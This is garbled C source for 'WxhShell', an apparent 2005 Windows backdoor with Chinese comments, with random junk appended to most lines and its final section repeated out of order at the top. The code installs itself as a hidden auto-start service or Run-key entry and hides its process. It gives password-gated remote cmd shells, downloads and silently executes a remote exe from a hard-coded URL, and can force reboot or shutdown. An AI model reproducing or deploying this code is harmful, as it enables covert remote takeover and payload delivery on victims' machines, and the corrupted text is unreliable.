    closesocket(wsh); WG6 0  
    ExitThread(0); "|1iz2L  
    } 7M7Ir\d0lp  
    break; IKP GqoM  
    } {]}94T~/k  
  // 获取shell mgVYKZWL-i  
  case 's': { $57b.+2n  
    CmdShell(wsh); yj_> G  
    closesocket(wsh); 6*>Lud  
    ExitThread(0); @j}%{Km]Y  
    break; m#8 PX$_  
  } ;9h;oB@  
  // 退出 %EVgSF!r  
  case 'x': { D@68_sn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #I453  
    CloseIt(wsh); w5%i  
    break; =HsE:@  
    } Q*%}w_D6f  
  // 离开 njX$?V   
  case 'q': { ;XawEG7" U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EI 35&7(  
    closesocket(wsh); V+lF|CZb5  
    WSACleanup(); xIa7F$R 0  
    exit(1); D 6 y,Q  
    break; jci,]*X4  
        } 0]  
  } oS..y($TI  
  } io+V4m  
]nB|8k=J  
  // 提示信息 \298SH(!7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u>:(MARsR  
} /o m++DxV  
  } RhHm[aN  
~o%igJ }.C  
  return; Px=@Tw N,  
} 6^'BTd  
-g2l-N{&  
// shell模块句柄 \_8wU' 7  
int CmdShell(SOCKET sock) ySmbX  
{ .nrllVG%`  
STARTUPINFO si; v}Ju2}IK  
ZeroMemory(&si,sizeof(si)); rjK`t_(=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u7[}pf$}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4_=2|2Wz[  
PROCESS_INFORMATION ProcessInfo; _#:/ ~Jp  
char cmdline[]="cmd"; h.PBe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q&I`uS=F  
  return 0; ,.W7Z~z  
} .M^[/!  
tWIJ,_8l  
// 自身启动模式 yzhNl' Rz  
int StartFromService(void) =zyA~}M2  
{ BtC*]WB"_'  
typedef struct 'q)g, 2B%  
{ G7nhUg  
  DWORD ExitStatus; [ncK+rGAc  
  DWORD PebBaseAddress; !&rd#ZBn  
  DWORD AffinityMask; =,(TP  
  DWORD BasePriority; MY@&^71i4  
  ULONG UniqueProcessId; G*@!M%/  
  ULONG InheritedFromUniqueProcessId; _2!8,MX  
}   PROCESS_BASIC_INFORMATION; VWE>w|'  
;[Mvk6^'R  
PROCNTQSIP NtQueryInformationProcess; c[,h|~K/_?  
Q< :RLKVT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v .jxG {~.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K@O^\  
7pyzPc#_  
  HANDLE             hProcess; !=YKfzE  
  PROCESS_BASIC_INFORMATION pbi; fu^W# "{  
BHUI1y5t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A#=TR_@:  
  if(NULL == hInst ) return 0; <:}nd:l1  
2]5{Xmmo9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8D*nU3O   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jb.H[n,\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W#p7M[  
-[=eVS.2%  
  if (!NtQueryInformationProcess) return 0; CBEf;I g  
r0XEB,}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2jFuF71  
  if(!hProcess) return 0; u S1O-Q>  
}xk(aM_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3#>W\_FY*D  
"Wwu Ty|  
  CloseHandle(hProcess); p%3z*2,(  
At iUTA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !@=S,Vc.  
if(hProcess==NULL) return 0; Cq\XLh `  
< (xqw<)  
HMODULE hMod; y?<KN0j  
char procName[255]; %y6(+I #P  
unsigned long cbNeeded; Qq<@;4  
gc.Lh~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #J"xByQKK  
c1yRy|  
  CloseHandle(hProcess); I,{YxY[$7  
SO$Af!S:bB  
if(strstr(procName,"services")) return 1; // 以服务启动 !bE-&c  
6Wu*zY_+  
  return 0; // 注册表启动 .:$(o&  
} 8W\yM;'  
_}R[mr/  
// 主模块 zt(lV  
int StartWxhshell(LPSTR lpCmdLine) X7},|cmD_  
{ mM,HMrgLqK  
  SOCKET wsl; q>$MqKWM  
BOOL val=TRUE; 51jgx,-|$  
  int port=0; KewW8H~tb  
  struct sockaddr_in door; X4 Arn,  
s@F&N9oh  
  if(wscfg.ws_autoins) Install(); r)*23&Ojs  
fMUcVTFe  
port=atoi(lpCmdLine); lG7PM^Eb  
=,6H2ew  
if(port<=0) port=wscfg.ws_port; Y[{:?i~9,  
Ie.*x'b?y  
  WSADATA data; AW]\n;f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D.K""*ula  
SMEl'y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]`/>hH>+~9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %QezC+n  
  door.sin_family = AF_INET; 1<YoGm&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); } oPO`  
  door.sin_port = htons(port); K^u,B3  
V`Cy x^P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tbFAVGcAM  
closesocket(wsl); pU$k{^'UK  
return 1; sQJ\{'g  
} ]r Uj<[O  
YOl$sgg}  
  if(listen(wsl,2) == INVALID_SOCKET) { _U s"   
closesocket(wsl); F]\ Sk'}&  
return 1; t'n@yX_  
} lPy|>&Yc  
  Wxhshell(wsl); x-BU$bx5  
  WSACleanup(); I/O3OD  
FK _ ZE>  
return 0; *w+'I*QSt~  
2q~ .,vpP  
} \SWTP1  
*uc/| c  
// 以NT服务方式启动  IO\l8G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PCviQ!X  
{ #e' >9T  
DWORD   status = 0; m$T5lKn}U?  
  DWORD   specificError = 0xfffffff; gHg=G+Q@  
 %?ElC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \|HEe{nA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *~#I5s\s!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; my (@~'  
  serviceStatus.dwWin32ExitCode     = 0; AV5={KK  
  serviceStatus.dwServiceSpecificExitCode = 0; i,6OMB $  
  serviceStatus.dwCheckPoint       = 0; TSB2]uH  
  serviceStatus.dwWaitHint       = 0; (95|DCL  
# T=iS(i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tagf7tw4  
  if (hServiceStatusHandle==0) return; 'C]w3Rh'  
xl&@g)Jj  
status = GetLastError(); 586P~C[ic  
  if (status!=NO_ERROR) >8f~2dH2%  
{ Ku(YTXtK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1d5%(:@  
    serviceStatus.dwCheckPoint       = 0; /2tA n  
    serviceStatus.dwWaitHint       = 0; [:8\F#KW  
    serviceStatus.dwWin32ExitCode     = status; 19E(Hsz  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^O07GYF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r,6~%T0  
    return; 4^F[Gp?  
  } j4~(6Imm  
@8L5 UT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RkYdK$|K  
  serviceStatus.dwCheckPoint       = 0; Y%KowgP\  
  serviceStatus.dwWaitHint       = 0; PLCm\Oh$l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CTIS}_CWd=  
} W A/dt2D|  
aU!}j'5Q  
// 处理NT服务事件,比如:启动、停止 (i~UH04r>s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %*D=ni#(sT  
{ nWd!ovd  
switch(fdwControl) nBy-/BU&  
{ jPWONz(#  
case SERVICE_CONTROL_STOP: yE:y[k0E  
  serviceStatus.dwWin32ExitCode = 0; pN9!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .?Eb{W)^br  
  serviceStatus.dwCheckPoint   = 0; H$`U] =s|  
  serviceStatus.dwWaitHint     = 0; $$9H1)Ny  
  { PmuG(qg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @%4'2b  
  } mskG2mA  
  return; NI?O  
case SERVICE_CONTROL_PAUSE: .p[uIRd`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (0{Dn5MH  
  break; XGa8tI[:X  
case SERVICE_CONTROL_CONTINUE: Ip t;NlR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KuR]X``2  
  break; cv'8_3  
case SERVICE_CONTROL_INTERROGATE: g[} L ?  
  break; +XWTu!  
}; @)pC3Vi^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >|3Y+X  
} M5I`i{Gw  
mERkC,$  
// 标准应用程序主函数 }qWnn>h9xv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +`d92Tz  
{ 7Z>vQf B  
ka_m Q<{9  
// 获取操作系统版本 Snkb^Kt  
OsIsNt=GetOsVer(); _7!ZnJrR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6ALjM-t=V  
ilL%  
  // 从命令行安装 @Ou H=<YN  
  if(strpbrk(lpCmdLine,"iI")) Install(); o*K7(yUL4  
_hY6 NMw  
  // 下载执行文件 2J=`"6c  
if(wscfg.ws_downexe) { Kw-<o!~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `+w= p7ET  
  WinExec(wscfg.ws_filenam,SW_HIDE); P0 0G*iY~\  
} :Wbp|:N0  
k| OM?\  
if(!OsIsNt) { SPqJ [ F  
// 如果时win9x,隐藏进程并且设置为注册表启动 uO4 LD}A  
HideProc(); 3eY>LWx  
StartWxhshell(lpCmdLine); 'xS@cF o(  
} |X@s {?  
else vA6`};|  
  if(StartFromService()) ;Z*rY?v  
  // 以服务方式启动 eg;r38   
  StartServiceCtrlDispatcher(DispatchTable); z}-CU GS  
else gdIk%m4  
  // 普通方式启动 /Xi21W/  
  StartWxhshell(lpCmdLine); 3P!OP{`  
Bw;isMx7  
return 0; l~$)>?ZD  
} ;bwBd:Y  
(1x8DVXNN  
j&Hui>~  
}[leUYi`  
=========================================== {XU!p: x  
l2;$qNAo  
b@J"b(  
((gI OTV  
4A+g-{d  
4D&L]eJ  
" H!Gw@u]E  
;MeY@* "{  
#include <stdio.h> g#(+:^3'  
#include <string.h> '/`O*KD]  
#include <windows.h> @vq)Y2)r\  
#include <winsock2.h> T;DKDg a  
#include <winsvc.h> XW aa`q  
#include <urlmon.h> YWU@e[  
]#NfH-T  
#pragma comment (lib, "Ws2_32.lib") g7323m1=  
#pragma comment (lib, "urlmon.lib") 6r"NU`1A;r  
TDw~sxtv&  
#define MAX_USER   100 // 最大客户端连接数 SE*;6&yL  
#define BUF_SOCK   200 // sock buffer mh4 VQ9  
#define KEY_BUFF   255 // 输入 buffer xD*Zcw(vj~  
L4^/O29  
#define REBOOT     0   // 重启 r.)n>  
#define SHUTDOWN   1   // 关机 od#Lad@p  
cEf"m ?w  
#define DEF_PORT   5000 // 监听端口 0`zdj  
,R=!ts[qi  
#define REG_LEN     16   // 注册表键长度 P, ZQ*Ju  
#define SVC_LEN     80   // NT服务名长度 X8v)yDtw  
x .@O]}UH  
// 从dll定义API y# \"yykB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lea4-Gc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UG44 oKB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wmV=GV8 d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  MMk9rBf  
2Bi]t%<{  
// wxhshell配置信息 X"3p/!W.4  
struct WSCFG { Q}Ah{H0C  
  int ws_port;         // 监听端口 n7i~^nf>  
  char ws_passstr[REG_LEN]; // 口令 ]*]*O|w  
  int ws_autoins;       // 安装标记, 1=yes 0=no }WJX Q@  
  char ws_regname[REG_LEN]; // 注册表键名 T$mT;k  
  char ws_svcname[REG_LEN]; // 服务名 N @_y<7#C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &LI q?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n<|8Onw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )0I -N)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +|;Ri68  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q2|x$5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oeKl\cgFx  
2FdwX ,O.  
}; Qxy ~ %;X  
 DEu0Z  
// default Wxhshell configuration !0^4D=dO  
struct WSCFG wscfg={DEF_PORT, CD`6R.  
    "xuhuanlingzhe", c\[&IlM  
    1, l9/}fMi  
    "Wxhshell", tYMr  
    "Wxhshell", 8~qpOQX^V  
            "WxhShell Service", 3<.DiY  
    "Wrsky Windows CmdShell Service", 6Jy%4]wK  
    "Please Input Your Password: ", ZuWh gnp  
  1,  e+#Oj  
  "http://www.wrsky.com/wxhshell.exe", GZ<@#~1%\  
  "Wxhshell.exe" p-"wY?q  
    }; "r;cH53  
E_ 30)"]  
// 消息定义模块 A##Q>|>)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Dd0yQgCu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c>c3qjWY/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i:N-Q)<Q*)  
char *msg_ws_ext="\n\rExit."; \8*j"@ !H  
char *msg_ws_end="\n\rQuit."; us5Zi#}  
char *msg_ws_boot="\n\rReboot..."; K HNU=k  
char *msg_ws_poff="\n\rShutdown..."; rp @%0/[  
char *msg_ws_down="\n\rSave to "; )s7EhIP  
"=%YyH~WY  
char *msg_ws_err="\n\rErr!"; _@?I)4n|  
char *msg_ws_ok="\n\rOK!"; qDg`4yX.}  
T+0z.E!~I  
char ExeFile[MAX_PATH]; I_Z?'M  
int nUser = 0; P\[K)N/1  
HANDLE handles[MAX_USER]; gzK/l:  
int OsIsNt; rx]Q,;"  
ku57<kb  
SERVICE_STATUS       serviceStatus; [GM!@6U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oT:w GBW  
SANb g&$  
// 函数声明 MS2/<LD3d  
int Install(void); wBI:}N@.  
int Uninstall(void); IN;!s#cl:  
int DownloadFile(char *sURL, SOCKET wsh); ?st}rJ_  
int Boot(int flag); %/U'Wu{*  
void HideProc(void); |]:6IuslJ  
int GetOsVer(void); q 7W7sw  
int Wxhshell(SOCKET wsl); V[^AV"V  
void TalkWithClient(void *cs); 1mh7fZgn  
int CmdShell(SOCKET sock); k,OxGG  
int StartFromService(void); \\Zsxya1  
int StartWxhshell(LPSTR lpCmdLine); U1yspHiZ  
-hF!_);{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i5WO)9Us  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dqU)(T=C  
a{;+_J3S  
// 数据结构和表定义 !}`[s2ji  
SERVICE_TABLE_ENTRY DispatchTable[] = V LeYO5'L  
{ }!*|VdL0  
{wscfg.ws_svcname, NTServiceMain}, nR Hl Hu  
{NULL, NULL} &f A1kG%  
}; &a >UVs?=  
yWN'va1+$  
// 自我安装 5^qs>k[mN  
int Install(void) S=L#8CID  
{ BB/c5?V  
  char svExeFile[MAX_PATH]; LEg|R+ 6E  
  HKEY key; &RS)U72  
  strcpy(svExeFile,ExeFile); ndB qXS  
*!NW!,R  
// 如果是win9x系统,修改注册表设为自启动 9$(N q  
if(!OsIsNt) { otdv;xI9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F_}y[Yn^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); } ?+0s=Z  
  RegCloseKey(key); _+~jZ]o N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CJ3/8*;w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8;UkZN"hy5  
  RegCloseKey(key); Jn&u u  
  return 0; I#F, Mb>:  
    } Q &&=:97d  
  } Zic:d-Q47  
} {poTA+i  
else { m,4'@jg0  
uW(Ngcpr  
// 如果是NT以上系统,安装为系统服务 C3<_0eI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NP.qh1{NP  
if (schSCManager!=0)  j)mS3#cH  
{ # 5{lOeN  
  SC_HANDLE schService = CreateService Q\^BOdX^`  
  ( |jWA >S  
  schSCManager, &` "uKO]  
  wscfg.ws_svcname, :h0!giqoQ  
  wscfg.ws_svcdisp, :W'.SRD  
  SERVICE_ALL_ACCESS, JV;VR9-l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -S@ ys  
  SERVICE_AUTO_START, >G0ihhVt  
  SERVICE_ERROR_NORMAL, ]VN1Y)  
  svExeFile, =*?XZA)c  
  NULL, nwDW<J{f|U  
  NULL, ^sJp!hi4=)  
  NULL, N9H qFp  
  NULL, od vUU#l  
  NULL li`  
  ); p2GN93,u@P  
  if (schService!=0) q~\[P4m  
  { #KLW&A  
  CloseServiceHandle(schService); qm=9!jqC;  
  CloseServiceHandle(schSCManager); )qWO}]F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p:!FB8  
  strcat(svExeFile,wscfg.ws_svcname); (/P-9<"U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y+.(E-g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :bP <H  
  RegCloseKey(key); SwH#=hg  
  return 0; H[/^&1P  
    } 2ZxZ2?.uJ  
  } DY87NS*HF  
  CloseServiceHandle(schSCManager); B an" H~  
} XOZ@ek)LY  
} \7(OFT\u:  
tgrZs8?  
return 1; !6+V  
} /jU4mPb;\D  
u])MI6LF  
// 自我卸载 I\82_t8  
int Uninstall(void) ;4vx+>-  
{ (>om.FM  
  HKEY key; Nm0|U.<  
cl'qw##  
if(!OsIsNt) { 0te[i*G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $O9#4A;  
  RegDeleteValue(key,wscfg.ws_regname); M[Jy?b)  
  RegCloseKey(key); !;U}ax;AF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I"jub kI=Z  
  RegDeleteValue(key,wscfg.ws_regname); y(r(q  
  RegCloseKey(key); ~HX'8\5  
  return 0; aFy'6c}  
  } .!1E7\  
} CakB`q(8  
} {<Vw55)#0Q  
else { 3_Re>i  
'p,54<e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `9VRT`e  
if (schSCManager!=0) k'd=|U;(FV  
{ DM !B@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \z=!It]f.  
  if (schService!=0) R M`iOV,Y  
  { bO gVC g  
  if(DeleteService(schService)!=0) { K&iU+  
  CloseServiceHandle(schService); R?kyJ4S  
  CloseServiceHandle(schSCManager); Qb1hk*$=  
  return 0; #$-`+P  
  } Z uO 7 N  
  CloseServiceHandle(schService); j{NcDe pLn  
  } %y\  
  CloseServiceHandle(schSCManager); gs=(h*  
} <~.1>CI9D3  
} O ;B[ZMV  
&;%LTF@I,  
return 1; =&?BPhJE  
} ~$ "P\iJ  
#6Fc-ysk:  
// 从指定url下载文件 >VvA&p71b  
int DownloadFile(char *sURL, SOCKET wsh) ]AB4w+6!  
{ ;ywUl`d  
  HRESULT hr; vF$sVu|B  
char seps[]= "/"; ]KRw[}z  
char *token; .|3&lb6  
char *file; hW-?j&yJ?  
char myURL[MAX_PATH]; m2PI^?|e  
char myFILE[MAX_PATH]; [Xo[J?w],2  
f5&K=4khn  
strcpy(myURL,sURL); =E-V-?N\  
  token=strtok(myURL,seps); .OSFLY#[?  
  while(token!=NULL) m3 W  
  { R"qxT.P(  
    file=token; lH 1gWe  
  token=strtok(NULL,seps); &X OFc.u  
  } 96S#Q*6+R  
9g`o+U{  
GetCurrentDirectory(MAX_PATH,myFILE); 5TS&NefM  
strcat(myFILE, "\\"); mvt%3zCB!  
strcat(myFILE, file); W(,3j{d2i  
  send(wsh,myFILE,strlen(myFILE),0); WBY_%RTx  
send(wsh,"...",3,0); AqucP@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yk&PJ;%O<  
  if(hr==S_OK) {Z(kzJwN  
return 0; &O.lIj#F R  
else pt=H?{06  
return 1; (od9adSehV  
*t,1(Gw|7q  
} ,\=,,1_  
n]fMl:77  
// 系统电源模块 w j<fi  
int Boot(int flag) w>h\643  
{ cCbZ*  
  HANDLE hToken; M)j.Uu  
  TOKEN_PRIVILEGES tkp; 7Nt6}${=z  
[e;c)XS[  
  if(OsIsNt) { zM2 _z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q?]-/v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E8] kd  
    tkp.PrivilegeCount = 1; k?;B1D8-n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j NkobJ1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?_nbaFQK3  
if(flag==REBOOT) { :SvgXMY@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z6;6 o!ej  
  return 0; 'nSo0cyQ  
} g=]VQ;{  
else { VH7nyqEM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ![9um sx  
  return 0; ~X!Z+Vg  
} TNkvdE-S  
  } $u P'>  
  else { Ws*UhJY<GS  
if(flag==REBOOT) { kqQT^6S   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;Bwg'ThT  
  return 0; z^^)n  
} Yh2[ nF_  
else { S^T ><C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NWS3-iZ|8  
  return 0; 1U6 z2i+y  
} dpSNh1  
} B nUWg ^E  
x7ZaI{    
return 1; FS^~e-A  
} cK.z&y0]  
h yK&)y?~  
// win9x进程隐藏模块 TQ5*z,CkS  
void HideProc(void) Lv UQ&NmY  
{ _9:r4|S  
X R|U6bf]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D$Eq~VQ  
  if ( hKernel != NULL ) /odDJxJ k  
  { W`v$-o-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @8*lqV2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #+#^cqjZ  
    FreeLibrary(hKernel); AF\Jh+ynT!  
  } 0TWd.+  
@L$!hTaP  
return; $Da?)Hz'F  
} S`8Iu[Ma  
76cLf~|d~  
// 获取操作系统版本 6GA+xr=  
int GetOsVer(void) V:h7}T95  
{ O',Vce$  
  OSVERSIONINFO winfo; L yH1tF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !|Wf mU  
  GetVersionEx(&winfo); %2y5a`b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KX J7\}  
  return 1; 2F :8=_sA  
  else gCq'#G\Z  
  return 0; IGNU_w4j  
} )$ M2+_c  
LhRd0  
// 客户端句柄模块 Swr4De_5  
int Wxhshell(SOCKET wsl) QQJf;p7  
{ -}3nIk<N  
  SOCKET wsh; Vh{(*p  
  struct sockaddr_in client; Z@(KZ|  
  DWORD myID; nF B]#LLv  
MX iQWg$  
  while(nUser<MAX_USER) dTjDVq&Hz  
{ 9y&bKB2,  
  int nSize=sizeof(client); J6Vx7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s'|t2`K("  
  if(wsh==INVALID_SOCKET) return 1; !<24Cy  
$*|M+ofQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  />6ECT  
if(handles[nUser]==0) &~=r .T  
  closesocket(wsh); Zm0'p!  
else 5] LfJh+"n  
  nUser++; z]7/Gc,j  
  } E>+>!On)b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yzT4D>1,  
XBoq/kbw!  
  return 0; |az2vD6P  
} )k;;O7C k  
m*jTvn  
// 关闭 socket Ol~M BQs  
void CloseIt(SOCKET wsh) l dqU#{  
{ uP+VS>b  
closesocket(wsh); +Qf}&D_  
nUser--; H@1}_d  
ExitThread(0); /3&MUB*z&y  
} SA7(EJ95  
Re&"Q8I.8  
// 客户端请求句柄 [Q+k2J_h  
void TalkWithClient(void *cs) P?S]Q19Q4  
{ 5vg="@O K  
(zh[1[a  
  SOCKET wsh=(SOCKET)cs; tva=DS  
  char pwd[SVC_LEN]; NBHpM}1xtU  
  char cmd[KEY_BUFF]; yzv"sd[8N  
char chr[1]; f ,4erTBH  
int i,j; . P+Qu   
MqJ5|C.q  
  while (nUser < MAX_USER) {  +IO>%  
H8B$# .  
if(wscfg.ws_passstr) { z:4_f:70  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); { :1X N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'ZB^=T  
  //ZeroMemory(pwd,KEY_BUFF); ()48>||  
      i=0; q k 6  
  while(i<SVC_LEN) { BlQ X$s]  
U (#JC(E-#  
  // 设置超时 X =%8*_  
  fd_set FdRead; 7f4O~4.[i  
  struct timeval TimeOut; :eSsqt9]9  
  FD_ZERO(&FdRead); &7oL2 Wf  
  FD_SET(wsh,&FdRead); Fn7OmxfD  
  TimeOut.tv_sec=8; Qn,6s%n  
  TimeOut.tv_usec=0; _&/ {A|n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a6-.|tt#t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r0 )ne|&Hp  
1Dl6T\20  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }z x ~  
  pwd=chr[0]; >=|p30\b  
  if(chr[0]==0xd || chr[0]==0xa) { ;0Pv49q  
  pwd=0; nQoQNB  
  break; J|].h  
  } ?*%_:fB  
  i++; |/vJ+aKq  
    } E^zfI9R  
X.#)CB0c1Q  
  // 如果是非法用户,关闭 socket P6R_W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RFy MRE!?  
} (v%24bv  
c~?Zmdn:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )+hV+rM jp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yu>DgMW  
{*AA]z? zo  
while(1) { 7oW Mjw\  
XIbZ_G^ +D  
  ZeroMemory(cmd,KEY_BUFF); Ff%V1BH[  
-X~mW  
      // 自动支持客户端 telnet标准   Cf3!Ud  
  j=0; qS2Nk.e]o  
  while(j<KEY_BUFF) { Z sTtSM\Ac  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dw3Hk$"h  
  cmd[j]=chr[0]; z8'1R6nq  
  if(chr[0]==0xa || chr[0]==0xd) { M{Z ;7n'  
  cmd[j]=0; m$kQbPlatN  
  break; kB> ~Tb0  
  } IF|6iKCE  
  j++; yjg&/6  
    } 6FQi=}O1  
8.#{J&h  
  // 下载文件 iBd6&?E?<  
  if(strstr(cmd,"http://")) { %^pi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XS[L-NHG  
  if(DownloadFile(cmd,wsh)) +ti ?7|bK<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j 0pI  
  else [YfoQ1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N);w~)MYh  
  } @)?]u U"L  
  else { BzP,Tu{,  
6t6Z&0$h~  
    switch(cmd[0]) { |4Q*4s  
  <4"-tYa  
  // 帮助 La;G S  
  case '?': { Aw |;C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }OL"38P  
